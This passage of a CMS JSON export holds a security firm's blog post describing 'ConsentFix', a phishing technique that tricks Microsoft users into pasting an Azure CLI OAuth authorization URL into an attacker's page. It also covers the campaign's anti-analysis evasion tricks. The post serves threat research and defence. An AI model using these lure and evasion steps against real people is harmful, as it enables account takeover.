],{"type":926},{"data":65833,"content":65836,"nodeType":912},{"target":65834},{"sys":65835},{"id":53113,"type":909,"linkType":910},[],{"data":65838,"content":65839,"nodeType":972},{},[],{"data":65841,"content":65842,"nodeType":981},{},[65843],{"data":65844,"marks":65845,"value":53125,"nodeType":865},{},[65846],{"type":926},{"data":65848,"content":65849,"nodeType":1317},{},[65850],{"data":65851,"marks":65852,"value":53133,"nodeType":865},{},[65853],{"type":926},{"data":65855,"content":65858,"nodeType":912},{"target":65856},{"sys":65857},{"id":53138,"type":909,"linkType":910},[],{"data":65860,"content":65861,"nodeType":866},{},[65862],{"data":65863,"marks":65864,"value":53148,"nodeType":865},{},[65865,65866],{"type":926},{"type":943},{"data":65868,"content":65869,"nodeType":866},{},[65870,65873,65880],{"data":65871,"marks":65872,"value":53155,"nodeType":865},{},[],{"data":65874,"content":65875,"nodeType":889},{"uri":53158},[65876],{"data":65877,"marks":65878,"value":53164,"nodeType":865},{},[65879],{"type":943},{"data":65881,"marks":65882,"value":53168,"nodeType":865},{},[],{"data":65884,"content":65885,"nodeType":866},{},[65886],{"data":65887,"marks":65888,"value":53177,"nodeType":865},{},[65889,65890],{"type":926},{"type":943},{"data":65892,"content":65893,"nodeType":866},{},[65894],{"data":65895,"marks":65896,"value":53184,"nodeType":865},{},[],{"data":65898,"content":65899,"nodeType":866},{},[65900],{"data":65901,"marks":65902,"value":53193,"nodeType":865},{},[65903,65904],{"type":926},{"type":943},{"data":65906,"content":65907,"nodeType":866},{},[65908,65911,65917],{"data":65909,"marks":65910,"value":53200,"nodeType":865},{},[],{"data":65912,"content":65913,"nodeType":889},{"uri":53203},[65914],{"data":65915,"marks":65916,"value":53208,"nodeType":865},{},[],{"data":65918,"marks":65919,"value":53212,"nodeType":865},{},[],{"data":65921,"content":65922,"nodeType":866},{},[65923],{"data":65924,"marks":65925,"value":53221,"nodeType":865},{},[65926,65927],{"type":926},{"type":943},{"data":65929,"content":65930,"nodeType":866},{},[65931],{"data":65932,"marks":65933,"value":53228,"nodeType":865},{},[],{"data":65935,"content":65936,"nodeType":866},{},[65937],{"data":65938,"marks":65939,"value":53237,"nodeType":865},{},[65940,65941],{"type":926},{"type":943},{"data":65943,"content":65944,"nodeType":866},{},[65945,65948,65955,65958,65965],{"data":65946,"marks":65947,"value":53244,"nodeType":865},{},[],{"data":65949,"content":65950,"nodeType":889},{"uri":3488},[65951],{"data":65952,"marks":65953,"value":53252,"nodeType":865},{},[65954],{"type":943},{"data":65956,"marks":65957,"value":53256,"nodeType":865},{},[],{"data":65959,"content":65960,"nodeType":889},{"uri":53259},[65961],{"data":65962,"marks":65963,"value":6715,"nodeType":865},{},[65964],{"type":943},{"data":65966,"marks":65967,"value":53268,"nodeType":865},{},[],{"data":65969,"content":65970,"nodeType":866},{},[65971],{"data":65972,"marks":65973,"value":53277,"nodeType":865},{},[65974,65975],{"type":926},{"type":943},{"data":65977,"content":65978,"nodeType":866},{},[65979],{"data":65980,"marks":65981,"value":53284,"nodeType":865},{},[],{"data":65983,"content":65984,"nodeType":866},{},[65985],{"data":65986,"marks":65987,"value":53293,"nodeType":865},{},[65988,65989],{"type":926},{"type":943},{"data":65991,"content":65992,"nodeType":866},{},[65993,65996,66003],{"data":65994,"marks":65995,"value":53300,"nodeType":865},{},[],{"data":65997,"content":65998,"nodeType":889},{"uri":53259},[65999],{"data":66000,"marks":66001,"value":6715,"nodeType":865},{},[66002],{"type":943},{"data":66004,"marks":66005,"value":53311,"nodeType":865},{},[],{"data":66007,"content":66010,"nodeType":912},{"target":66008},{"sys":66009},{"id":53316,"type":909,"linkType":910},[],{"data":66012,"content":66013,"nodeType":866},{},[66014],{"data":66015,"marks":66016,"value":53326,"nodeType":865},{},[66017,66018],{"type":926},{"type":943},{"data":66020,"content":66021,"nodeType":866},{},[66022],{"data":66023,"marks":66024,"value":53333,"nodeType":865},{},[],{"data":66026,"content":66027,"nodeType":866},{},[66028],{"data":66029,"marks":66030,"value":53342,"nodeType":865},{},[66031,66032],{"type":926},{"type":943},{"data":66034,"content":66035,"nodeType":866},{},[66036,66039,66045,66048,66054,66057,66063],{"data":66037,"marks":66038,"value":53349,"nodeType":865},{},[],{"data":66040,"content":66041,"nodeType":889},{"uri":53352},[66042],{"data":66043,"marks":66044,"value":53357,"nodeType":865},{},[],{"data":66046,"marks":66047,"value":4988,"nodeType":865},{},[],{"data":66049,"content":66050,"nodeType":889},{"uri":53363},[66051],{"data":66052,"marks":66053,"value":53368,"nodeType":865},{},[],{"data":66055,"marks":66056,"value":53372,"nodeType":865},{},[],{"data":66058,"content":66059,"nodeType":889},{"uri":13013},[66060],{"data":66061,"marks":66062,"value":53379,"nodeType":865},{},[],{"data":66064,"marks":66065,"value":53383,"nodeType":865},{},[],{"data":66067,"content":66068,"nodeType":972},{},[],{"data":66070,"content":66071,"nodeType":1317},{},[66072],{"data":66073,"marks":66074,"value":53394,"nodeType":865},{},[66075],{"type":926},{"data":66077,"content":66078,"nodeType":866},{},[66079],{"data":66080,"marks":66081,"value":53403,"nodeType":865},{},[66082,66083],{"type":926},{"type":943},{"data":66085,"content":66086,"nodeType":866},{},[66087,66090,66097],{"data":66088,"marks":66089,"value":53410,"nodeType":865},{},[],{"data":66091,"content":66092,"nodeType":889},{"uri":53413},[66093],{"data":66094,"marks":66095,"value":53419,"nodeType":865},{},[66096],{"type":943},{"data":66098,"marks":66099,"value":53423,"nodeType":865},{},[],{"data":66101,"content":66102,"nodeType":866},{},[66103],{"data":66104,"marks":66105,"value":53432,"nodeType":865},{},[66106,66107],{"type":926},{"type":943},{"data":66109,"content":66110,"nodeType":866},{},[66111],{"data":66112,"marks":66113,"value":53439,"nodeType":865},{},[],{"data":66115,"content":66116,"nodeType":866},{},[66117],{"data":66118,"marks":66119,"value":53448,"nodeType":865},{},[66120,66121],{"type":926},{"type":943},{"data":66123,"content":66124,"nodeType":866},{},[66125,66128,66135,66138,66145],{"data":66126,"marks":66127,"value":53455,"nodeType":865},{},[],{"data":66129,"content":66130,"nodeType":889},{"uri":53458},[66131],{"data":66132,"marks":66133,"value":53464,"nodeType":865},{},[66134],{"type":943},{"data":66136,"marks":66137,"value":53468,"nodeType":865},{},[],{"data":66139,"content":66140,"nodeType":889},{"uri":53471},[66141],{"data":66142,"marks":66143,"value":53477,"nodeType":865},{},[66144],{"type":943},{"data":66146,"marks":66147,"value":53481,"nodeType":865},{},[],{"data":66149,"content":66152,"nodeType":912},{"target":66150},{"sys":66151},{"id":53486,"type":909,"linkType":910},[],{"data":66154,"content":66155,"nodeType":866},{},[66156],{"data":66157,"marks":66158,"value":53496,"nodeType":865},{},[66159,66160],{"type":926},{"type":943},{"data":66162,"content":66163,"nodeType":866},{},[66164],{"data":66165,"marks":66166,"value":53503,"nodeType":865},{},[],{"data":66168,"content":66171,"nodeType":912},{"target":66169},{"sys":66170},{"id":53508,"type":909,"linkType":910},[],{"data":66173,"content":66174,"nodeType":972},{},[],{"data":66176,"content":66177,"nodeType":1317},{},[66178],{"data":66179,"marks":66180,"value":694,"nodeType":865},{},[66181],{"type":926},{"data":66183,"content":66184,"nodeType":866},{},[66185],{"data":66186,"marks":66187,"value":53528,"nodeType":865},{},[66188,66189],{"type":926},{"type":943},{"data":66191,"content":66192,"nodeType":866},{},[66193],{"data":66194,"marks":66195,"value":53535,"nodeType":865},{},[],{"data":66197,"content":66198,"nodeType":1616},{},[66199,66212,66225],{"data":66200,"content":66201,"nodeType":1570},{},[66202],{"data":66203,"content":66204,"nodeType":866},{},[66205,66209],{"data":66206,"marks":66207,"value":53549,"nodeType":865},{},[66208],{"type":926},{"data":66210,"marks":66211,"value":53553,"nodeType":865},{},[],{"data":66213,"content":66214,"nodeType":1570},{},[66215],{"data":66216,"content":66217,"nodeType":866},{},[66218,66222],{"data":66219,"marks":66220,"value":53564,"nodeType":865},{},[66221],{"type":926},{"data":66223,"marks":66224,"value":53568,"nodeType":865},{},[],{"data":66226,"content":66227,"nodeType":1570},{},[66228],{"data":66229,"content":66230,"nodeType":866},{},[66231,66235,66238,66244],{"data":66232,"marks":66233,"value":53579,"nodeType":865},{},[66234],{"type":926},{"data":66236,"marks":66237,"value":53583,"nodeType":865},{},[],{"data":66239,"content":66240,"nodeType":889},{"uri":40710},[66241],{"data":66242,"marks":66243,"value":53590,"nodeType":865},{},[],{"data":66245,"marks":66246,"value":53594,"nodeType":865},{},[],{"data":66248,"content":66251,"nodeType":912},{"target":66249},{"sys":66250},{"id":53599,"type":909,"linkType":910},[],{"data":66253,"content":66254,"nodeType":972},{},[],{"data":66256,"content":66257,"nodeType":1317},{},[66258],{"data":66259,"marks":66260,"value":699,"nodeType":865},{},[66261],{"type":926},{"data":66263,"content":66264,"nodeType":866},{},[66265],{"data":66266,"marks":66267,"value":53619,"nodeType":865},{},[66268,66269],{"type":926},{"type":943},{"data":66271,"content":66272,"nodeType":866},{},[66273],{"data":66274,"marks":66275,"value":53626,"nodeType":865},{},[],{"data":66277,"content":66280,"nodeType":912},{"target":66278},{"sys":66279},{"id":53631,"type":909,"linkType":910},[],{"data":66282,"content":66283,"nodeType":972},{},[],{"data":66285,"content":66286,"nodeType":981},{},[66287],{"data":66288,"marks":66289,"value":14026,"nodeType":865},{},[66290],{"type":926},{"data":66292,"content":66293,"nodeType":866},{},[66294],{"data":66295,"marks":66296,"value":53649,"nodeType":865},{},[],{"data":66298,"content":66299,"nodeType":866},{},[66300],{"data":66301,"marks":66302,"value":53656,"nodeType":865},{},[],{"data":66304,"content":66305,"nodeType":1616},{},[66306,66325,66344],{"data":66307,"content":66308,"nodeType":1570},{},[66309],{"data":66310,"content":66311,"nodeType":866},{},[66312,66315,66322],{"data":66313,"marks":66314,"value":53669,"nodeType":865},{},[],{"data":66316,"content":66317,"nodeType":889},{"uri":53672},[66318],{"data":66319,"marks":66320,"value":8641,"nodeType":865},{},[66321],{"type":943},{"data":66323,"marks":66324,"value":53681,"nodeType":865},{},[],{"data":66326,"content":66327,"nodeType":1570},{},[66328],{"data":66329,"content":66330,"nodeType":866},{},[66331,66334,66341],{"data":66332,"marks":66333,"value":53691,"nodeType":865},{},[],{"data":66335,"content":66336,"nodeType":889},{"uri":53694},[66337],{"data":66338,"marks":66339,"value":53700,"nodeType":865},{},[66340],{"type":943},{"data":66342,"marks":66343,"value":53681,"nodeType":865},{},[],{"data":66345,"content":66346,"nodeType":1570},{},[66347],{"data":66348,"content":66349,"nodeType":866},{},[66350,66353,66360],{"data":66351,"marks":66352,"value":53713,"nodeType":865},{},[],{"data":66354,"content":66355,"nodeType":889},{"uri":1063},[66356],{"data":66357,"marks":66358,"value":53721,"nodeType":865},{},[66359],{"type":943},{"data":66361,"marks":66362,"value":53681,"nodeType":865},{},[],{"data":66364,"content":66365,"nodeType":866},{},[66366],{"data":66367,"marks":66368,"value":53731,"nodeType":865},{},[],{"data":66370,"content":66371,"nodeType":1616},{},[66372,66385,66398,66411],{"data":66373,"content":66374,"nodeType":1570},{},[66375],{"data":66376,"content":66377,"nodeType":866},{},[66378,66382],{"data":66379,"marks":66380,"value":53745,"nodeType":865},{},[66381],{"type":926},{"data":66383,"marks":66384,"value":53749,"nodeType":865},{},[],{"data":66386,"content":66387,"nodeType":1570},{},[66388],{"data":66389,"content":66390,"nodeType":866},{},[66391,66395],{"data":66392,"marks":66393,"value":53760,"nodeType":865},{},[66394],{"type":926},{"data":66396,"marks":66397,"value":53764,"nodeType":865},{},[],{"data":66399,"content":66400,"nodeType":1570},{},[66401],{"data":66402,"content":66403,"nodeType":866},{},[66404,66408],{"data":66405,"marks":66406,"value":53775,"nodeType":865},{},[66407],{"type":926},{"data":66409,"marks":66410,"value":53779,"nodeType":865},{},[],{"data":66412,"content":66413,"nodeType":1570},{},[66414],{"data":66415,"content":66416,"nodeType":866},{},[66417,66421],{"data":66418,"marks":66419,"value":53790,"nodeType":865},{},[66420],{"type":926},{"data":66422,"marks":66423,"value":53794,"nodeType":865},{},[],{"data":66425,"content":66426,"nodeType":866},{},[66427],{"data":66428,"marks":66429,"value":53801,"nodeType":865},{},[],{"data":66431,"content":66432,"nodeType":972},{},[],{"data":66434,"content":66435,"nodeType":981},{},[66436],{"data":66437,"marks":66438,"value":53812,"nodeType":865},{},[66439],{"type":926},{"data":66441,"content":66442,"nodeType":866},{},[66443],{"data":66444,"marks":66445,"value":53819,"nodeType":865},{},[],{"data":66447,"content":66448,"nodeType":866},{},[66449],{"data":66450,"marks":66451,"value":53826,"nodeType":865},{},[],{"data":66453,"content":66456,"nodeType":912},{"target":66454},{"sys":66455},{"id":53831,"type":909,"linkType":910},[],{"data":66458,"content":66459,"nodeType":972},{},[],{"data":66461,"content":66462,"nodeType":981},{},[66463],{"data":66464,"marks":66465,"value":6331,"nodeType":865},{},[66466],{"type":926},{"data":66468,"content":66469,"nodeType":866},{},[66470],{"data":66471,"marks":66472,"value":53849,"nodeType":865},{},[],{"data":66474,"content":66475,"nodeType":866},{},[66476],{"data":66477,"marks":66478,"value":53856,"nodeType":865},{},[],{"data":66480,"content":66481,"nodeType":866},{},[66482],{"data":66483,"marks":66484,"value":53863,"nodeType":865},{},[],{"data":66486,"content":66487,"nodeType":866},{},[66488,66491,66498,66501,66508],{"data":66489,"marks":66490,"value":11372,"nodeType":865},{},[],{"data":66492,"content":66493,"nodeType":889},{"uri":11375},[66494],{"data":66495,"marks":66496,"value":11381,"nodeType":865},{},[66497],{"type":943},{"data":66499,"marks":66500,"value":53880,"nodeType":865},{},[],{"data":66502,"content":66503,"nodeType":889},{"uri":1372},[66504],{"data":66505,"marks":66506,"value":11405,"nodeType":865},{},[66507],{"type":943},{"data":66509,"marks":66510,"value":1615,"nodeType":865},{},[],{"items":66512},[66513,66515],{"sys":66514,"name":7796},{"id":7795},{"sys":66516,"name":342},{"id":4642},{"items":66518},[66519],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":66520},{"url":7804},{"__typename":1429,"sys":66522,"content":66523,"title":36702,"synopsis":67367,"hashTags":59,"publishedDate":67368,"slug":36703,"tagsCollection":67369,"authorsCollection":67375},{"id":33802},{"json":66524},{"data":66525,"content":66526,"nodeType":1382},{},[66527,66535,66542,66549,66556,66568,66575,66581,66587,66590,66598,66605,66612,66618,66638,66645,66651,66658,66664,66671,66714,66720,66726,66733,66740,66743,66751,66771,66778,66784,66802,66808,66827,66834,66837,66845,66852,66896,66908,66911,66919,66936,66943,66959,66966,66973,66979,66986,66989,66997,67004,67057,67064,67067,67075,67081,67088,67095,67101,67108,67141,67148,67155,67161,67168,67174,67182,67199,67206,67239,67246,67279,67282,67290,67297,67303,67322,67329,67355,67361],{"data":66528,"content":66529,"nodeType":981},{},[66530],{"data":66531,"marks":66532,"value":66534,"nodeType":865},{},[66533],{"type":926},"Introducing “ConsentFix” — a new kind of phishing attack",{"data":66536,"content":66537,"nodeType":866},{},[66538],{"data":66539,"marks":66540,"value":66541,"nodeType":865},{},[],"The Push browser agent recently detected and blocked a new attack technique seen targeting several Push customers. ",{"data":66543,"content":66544,"nodeType":866},{},[66545],{"data":66546,"marks":66547,"value":66548,"nodeType":865},{},[],"This is a new kind of browser-based attack technique that takes over user accounts with a simple copy and paste. If you’re already logged into the app in your browser, you don’t even need to supply creds, or pass an MFA check — meaning it effectively circumvents phishing-resistant auth like passkeys too.",{"data":66550,"content":66551,"nodeType":866},{},[66552],{"data":66553,"marks":66554,"value":66555,"nodeType":865},{},[],"This is so different from the AiTM phish kits we usually come up against that we felt it deserved a new name. ",{"data":66557,"content":66558,"nodeType":866},{},[66559,66564],{"data":66560,"marks":66561,"value":66563,"nodeType":865},{},[66562],{"type":926},"Enter: ConsentFix. ",{"data":66565,"marks":66566,"value":66567,"nodeType":865},{},[],"This attack shares a lot of similarities with ClickFix/FileFix, AiTM phishing, and OAuth Consent Phishing. You can think of this as a browser-native ClickFix attack that phishes an OAuth token on a target app by getting the victim to copy and paste a URL containing OAuth key material into a phishing page. ",{"data":66569,"content":66570,"nodeType":866},{},[66571],{"data":66572,"marks":66573,"value":66574,"nodeType":865},{},[],"The campaign we detected looks to be specifically targeting Microsoft accounts by abusing the Azure CLI OAuth app. Essentially, the attacker tricks the victim into logging into Azure CLI, by generating an OAuth authorization code — visible in a localhost URL — and then pasting that URL (including the code) into an attacker-controlled page. This then creates an OAuth connection between the victim’s Microsoft account and the attacker’s Azure CLI instance. ",{"data":66576,"content":66580,"nodeType":912},{"target":66577},{"sys":66578},{"id":66579,"type":909,"linkType":910},"5GTnqWIbmraz8HZeHMybrP",[],{"data":66582,"content":66586,"nodeType":912},{"target":66583},{"sys":66584},{"id":66585,"type":909,"linkType":910},"1lcjX5q3b1bsuhyOXKvJpW",[],{"data":66588,"content":66589,"nodeType":972},{},[],{"data":66591,"content":66592,"nodeType":981},{},[66593],{"data":66594,"marks":66595,"value":66597,"nodeType":865},{},[66596],{"type":926},"How ConsentFix works",{"data":66599,"content":66600,"nodeType":866},{},[66601],{"data":66602,"marks":66603,"value":66604,"nodeType":865},{},[],"In all of the examples we saw, the victim accessed a malicious or compromised webpage via Google Search. The vast majority of the sites we’ve seen associated with the campaign are legitimate, compromised websites with high domain reputation that are easily findable via search engines.",{"data":66606,"content":66607,"nodeType":866},{},[66608],{"data":66609,"marks":66610,"value":66611,"nodeType":865},{},[],"The attacker had injected a fake Cloudflare Turnstile into the compromised websites, requiring an email address to be supplied in order to proceed. ",{"data":66613,"content":66617,"nodeType":912},{"target":66614},{"sys":66615},{"id":66616,"type":909,"linkType":910},"39jEjeLqOYIkGc4o9w3MuX",[],{"data":66619,"content":66620,"nodeType":866},{},[66621,66625,66634],{"data":66622,"marks":66623,"value":66624,"nodeType":865},{},[],"This acted as a form of ",{"data":66626,"content":66628,"nodeType":889},{"uri":66627},"https://phishing-techniques.pushsecurity.com/techniques/conditional-loading/",[66629],{"data":66630,"marks":66631,"value":66633,"nodeType":865},{},[66632],{"type":943},"conditional loading",{"data":66635,"marks":66636,"value":66637,"nodeType":865},{},[]," that would only continue if a valid email address and domain was supplied, designed to prevent the page from being analyzed by security bots, analysts, and low-value accounts that run the risk of exposing the campaign before the intended recipient(s) can be phished. ",{"data":66639,"content":66640,"nodeType":866},{},[66641],{"data":66642,"marks":66643,"value":66644,"nodeType":865},{},[],"If a domain not on the target list was provided, the victim was passed back to the original website and the attack did not progress to the next stage. Further, once the check has concluded per IP, the phishing page will no longer activate, even a different email is provided.  ",{"data":66646,"content":66650,"nodeType":912},{"target":66647},{"sys":66648},{"id":66649,"type":909,"linkType":910},"7ttmGnTzi9j87tBXfyFcOA",[],{"data":66652,"content":66653,"nodeType":866},{},[66654],{"data":66655,"marks":66656,"value":66657,"nodeType":865},{},[],"After entering an approved email address, the next stage was loaded, prompting the victim to complete a set of instructions on the page to continue.",{"data":66659,"content":66663,"nodeType":912},{"target":66660},{"sys":66661},{"id":66662,"type":909,"linkType":910},"2oHYNoMgAz6MdgLlcWjbaB",[],{"data":66665,"content":66666,"nodeType":866},{},[66667],{"data":66668,"marks":66669,"value":66670,"nodeType":865},{},[],"To complete the attack, the victim must:",{"data":66672,"content":66673,"nodeType":1616},{},[66674,66684,66694,66704],{"data":66675,"content":66676,"nodeType":1570},{},[66677],{"data":66678,"content":66679,"nodeType":866},{},[66680],{"data":66681,"marks":66682,"value":66683,"nodeType":865},{},[],"Click the “Sign In” button. This opens a new tab that loads a legitimate Microsoft URL associated with the user account/email used to access the page.",{"data":66685,"content":66686,"nodeType":1570},{},[66687],{"data":66688,"content":66689,"nodeType":866},{},[66690],{"data":66691,"marks":66692,"value":66693,"nodeType":865},{},[],"If the user is already logged into Microsoft in their browser, they simply need to select their MS account from the dropdown. Otherwise, they will be required to login via the legitimate Microsoft login URL (no phishing takes place at this stage). ",{"data":66695,"content":66696,"nodeType":1570},{},[66697],{"data":66698,"content":66699,"nodeType":866},{},[66700],{"data":66701,"marks":66702,"value":66703,"nodeType":865},{},[],"Once logged into legit Microsoft or the account is selected from the dropdown, the user is redirected to localhost, which generates a URL containing a code associated with the user’s Microsoft account. ",{"data":66705,"content":66706,"nodeType":1570},{},[66707],{"data":66708,"content":66709,"nodeType":866},{},[66710],{"data":66711,"marks":66712,"value":66713,"nodeType":865},{},[],"To complete the phish, the victim copies the URL and pastes it onto the original page. ",{"data":66715,"content":66719,"nodeType":912},{"target":66716},{"sys":66717},{"id":66718,"type":909,"linkType":910},"7zendMbmCViGwtEpUQvq6y",[],{"data":66721,"content":66725,"nodeType":912},{"target":66722},{"sys":66723},{"id":66724,"type":909,"linkType":910},"1eZOs7hXi9FzCE92QEP6xh",[],{"data":66727,"content":66728,"nodeType":866},{},[66729],{"data":66730,"marks":66731,"value":66732,"nodeType":865},{},[],"Once the steps are completed, the victim has granted the attacker access to their Microsoft account via Azure CLI. ",{"data":66734,"content":66735,"nodeType":866},{},[66736],{"data":66737,"marks":66738,"value":66739,"nodeType":865},{},[],"At this point, the attacker has effective control of the victim’s Microsoft account, but without ever needing to phish a password, or pass an MFA check. In fact, if the user was already logged in to their Microsoft account (i.e. they had an active session) no login is required at all. ",{"data":66741,"content":66742,"nodeType":972},{},[],{"data":66744,"content":66745,"nodeType":981},{},[66746],{"data":66747,"marks":66748,"value":66750,"nodeType":865},{},[66749],{"type":926},"The next evolution of ClickFix?",{"data":66752,"content":66753,"nodeType":866},{},[66754,66758,66767],{"data":66755,"marks":66756,"value":66757,"nodeType":865},{},[],"When we presented ",{"data":66759,"content":66761,"nodeType":889},{"uri":66760},"https://pushsecurity.com/webinar/clickfix",[66762],{"data":66763,"marks":66764,"value":66766,"nodeType":865},{},[66765],{"type":943},"our last webinar on ClickFix",{"data":66768,"marks":66769,"value":66770,"nodeType":865},{},[],", we predicted that the next evolution of the attack would happen entirely within the browser context. This is because any attack that touches the endpoint (a traditionally much better protected surface) is way more likely to be detected. And with many ClickFix attacks being used to deliver infostealer malware, these attacks are really trying to get back into the browser anyway — to steal credentials and sessions stored there. ",{"data":66772,"content":66773,"nodeType":866},{},[66774],{"data":66775,"marks":66776,"value":66777,"nodeType":865},{},[],"Let’s take a closer look at the page — if you follow Push research, you might be getting déjà vu. ",{"data":66779,"content":66783,"nodeType":912},{"target":66780},{"sys":66781},{"id":66782,"type":909,"linkType":910},"1vMZCJ92IxFdR1EzzCOOvb",[],{"data":66785,"content":66786,"nodeType":866},{},[66787,66791,66799],{"data":66788,"marks":66789,"value":66790,"nodeType":865},{},[],"We’ve seen this kind of embedded video player before (albeit a slicker looking one) that we blogged about as ",{"data":66792,"content":66793,"nodeType":889},{"uri":14355},[66794],{"data":66795,"marks":66796,"value":66798,"nodeType":865},{},[66797],{"type":943},"the most advanced ClickFix we’d seen",{"data":66800,"marks":66801,"value":1615,"nodeType":865},{},[],{"data":66803,"content":66807,"nodeType":912},{"target":66804},{"sys":66805},{"id":66806,"type":909,"linkType":910},"ID7VKJNOZk729P5zBOBjZ",[],{"data":66809,"content":66810,"nodeType":866},{},[66811,66815,66823],{"data":66812,"marks":66813,"value":66814,"nodeType":865},{},[],"Another similarity with ClickFix campaigns we’ve investigated is the use of Google Search as a delivery vector. 4 in 5 ClickFix attacks intercepted by Push came via Google Search, with attackers using ",{"data":66816,"content":66818,"nodeType":889},{"uri":66817},"https://phishing-techniques.pushsecurity.com/techniques/malvertising/",[66819],{"data":66820,"marks":66821,"value":441,"nodeType":865},{},[66822],{"type":943},{"data":66824,"marks":66825,"value":66826,"nodeType":865},{},[]," and either compromised or custom vibe-coded websites to intercept users as they browse the internet. ",{"data":66828,"content":66829,"nodeType":866},{},[66830],{"data":66831,"marks":66832,"value":66833,"nodeType":865},{},[],"So it seems highly likely that this is a kind of browser-native evolution of ClickFix that shares many elements with typical ClickFix attacks, and is probably used by the same groups of attackers.",{"data":66835,"content":66836,"nodeType":972},{},[],{"data":66838,"content":66839,"nodeType":981},{},[66840],{"data":66841,"marks":66842,"value":66844,"nodeType":865},{},[66843],{"type":926},"OAuth shenanigans via Azure CLI",{"data":66846,"content":66847,"nodeType":866},{},[66848],{"data":66849,"marks":66850,"value":66851,"nodeType":865},{},[],"The clever use of Azure CLI and OAuth consent abuse is another clever iteration on previous techniques. ",{"data":66853,"content":66854,"nodeType":866},{},[66855,66859,66868,66871,66879,66883,66892],{"data":66856,"marks":66857,"value":66858,"nodeType":865},{},[],"We’ve previously seen ",{"data":66860,"content":66862,"nodeType":889},{"uri":66861},"https://phishing-techniques.pushsecurity.com/techniques/consent-phishing/",[66863],{"data":66864,"marks":66865,"value":66867,"nodeType":865},{},[66866],{"type":943},"consent phishing",{"data":66869,"marks":66870,"value":4988,"nodeType":865},{},[],{"data":66872,"content":66874,"nodeType":889},{"uri":66873},"https://phishing-techniques.pushsecurity.com/techniques/device-code-phishing/",[66875],{"data":66876,"marks":66877,"value":8061,"nodeType":865},{},[66878],{"type":943},{"data":66880,"marks":66881,"value":66882,"nodeType":865},{},[]," attacks where attackers have tricked victims into connecting malicious external apps into their tenant via OAuth, but this is becoming increasingly difficult in core enterprise cloud environments like Azure due to ",{"data":66884,"content":66886,"nodeType":889},{"uri":66885},"https://learn.microsoft.com/en-us/microsoft-365/admin/misc/user-consent?view=o365-worldwide",[66887],{"data":66888,"marks":66889,"value":66891,"nodeType":865},{},[66890],{"type":943},"stricter default configs",{"data":66893,"marks":66894,"value":66895,"nodeType":865},{},[],". However, since Azure CLI is a first-party Microsoft app, it is implicitly trusted in Entra ID, and is excluded from these restrictions. ",{"data":66897,"content":66898,"nodeType":866},{},[66899,66903],{"data":66900,"marks":66901,"value":66902,"nodeType":865},{},[],"First-party apps like Azure CLI are trusted by default in all tenants, allowed to request permissions without admin approval, and cannot be deleted or blocked. They can also be granted special permissions, such as tenant-wide service permissions (without needing admin approval), use of legacy or undocumented graph scopes, internal scopes for Microsoft client operations, and permissions for Office/Entra admin functions. ",{"data":66904,"marks":66905,"value":66907,"nodeType":865},{},[66906],{"type":926},"This makes Azure CLI a prime target for attackers, and significantly more exploitable than when connecting a third-party app. ",{"data":66909,"content":66910,"nodeType":972},{},[],{"data":66912,"content":66913,"nodeType":981},{},[66914],{"data":66915,"marks":66916,"value":66918,"nodeType":865},{},[66917],{"type":926},"Advanced detection evasion techniques",{"data":66920,"content":66921,"nodeType":866},{},[66922,66926,66932],{"data":66923,"marks":66924,"value":66925,"nodeType":865},{},[],"This campaign features some of the most advanced ",{"data":66927,"content":66928,"nodeType":889},{"uri":8862},[66929],{"data":66930,"marks":66931,"value":8868,"nodeType":865},{},[],{"data":66933,"marks":66934,"value":66935,"nodeType":865},{},[]," we've seen in the wild. ",{"data":66937,"content":66938,"nodeType":866},{},[66939],{"data":66940,"marks":66941,"value":66942,"nodeType":865},{},[],"As well as the use of Google Search to deliver the lure, and bot protection to prevent security tools from analyzing the page, there were multiple layers of anti-analysis techniques to navigate.",{"data":66944,"content":66945,"nodeType":866},{},[66946,66950,66955],{"data":66947,"marks":66948,"value":66949,"nodeType":865},{},[],"We already mentioned the use of selective targeting based on email addresses and domain names. But all sites involved in the campaign also have synchronized IP blocking — meaning if you visit one site and are served one of the associated phishing pages, the phish will never be served again, ",{"data":66951,"marks":66952,"value":66954,"nodeType":865},{},[66953],{"type":926},"across any of the sites linked to the campaign",{"data":66956,"marks":66957,"value":66958,"nodeType":865},{},[],". When you visit any of the sites again, the phish won't trigger, and it can be browsed as normal. ",{"data":66960,"content":66961,"nodeType":866},{},[66962],{"data":66963,"marks":66964,"value":66965,"nodeType":865},{},[],"On the backend, there are multiple checks based on your IP and identifiers unique to your session. Unless all of the conditions are met, certain JavaScript packages won't be served — preventing full inspection of the page to detect malicious elements. ",{"data":66967,"content":66968,"nodeType":866},{},[66969],{"data":66970,"marks":66971,"value":66972,"nodeType":865},{},[],"If the conditions aren't met, the page may not load the Cloudflare Turnstile check at all, or will redirect you back to the site to continue browsing as normal.",{"data":66974,"content":66978,"nodeType":912},{"target":66975},{"sys":66976},{"id":66977,"type":909,"linkType":910},"5v0zDoscA6pYLBfkXrNtIH",[],{"data":66980,"content":66981,"nodeType":866},{},[66982],{"data":66983,"marks":66984,"value":66985,"nodeType":865},{},[],"All of these make it incredibly hard to detect and block these attacks ahead of time when relying on URL-based checks and traffic analysis.",{"data":66987,"content":66988,"nodeType":972},{},[],{"data":66990,"content":66991,"nodeType":981},{},[66992],{"data":66993,"marks":66994,"value":66996,"nodeType":865},{},[66995],{"type":926},"Key takeaways",{"data":66998,"content":66999,"nodeType":866},{},[67000],{"data":67001,"marks":67002,"value":67003,"nodeType":865},{},[],"ConsentFix is a dangerous evolution of ClickFix and consent phishing that is incredibly hard for traditional security tools to detect and block, as:",{"data":67005,"content":67006,"nodeType":1616},{},[67007,67017,67027,67037,67047],{"data":67008,"content":67009,"nodeType":1570},{},[67010],{"data":67011,"content":67012,"nodeType":866},{},[67013],{"data":67014,"marks":67015,"value":67016,"nodeType":865},{},[],"The attack happens entirely inside the browser context, removing one of the key detection opportunities for ClickFix (because it doesn’t touch the endpoint).",{"data":67018,"content":67019,"nodeType":1570},{},[67020],{"data":67021,"content":67022,"nodeType":866},{},[67023],{"data":67024,"marks":67025,"value":67026,"nodeType":865},{},[],"Delivering the lure via a Google Search watering hole attack completely circumvents email-based anti-phishing controls.",{"data":67028,"content":67029,"nodeType":1570},{},[67030],{"data":67031,"content":67032,"nodeType":866},{},[67033],{"data":67034,"marks":67035,"value":67036,"nodeType":865},{},[],"Targeting a first-party app like Azure CLI means that many of the mitigating controls available for third-party app integrations do not apply — making this attack way harder to prevent.",{"data":67038,"content":67039,"nodeType":1570},{},[67040],{"data":67041,"content":67042,"nodeType":866},{},[67043],{"data":67044,"marks":67045,"value":67046,"nodeType":865},{},[],"Because there’s no login required, phishing-resistant authentication controls like 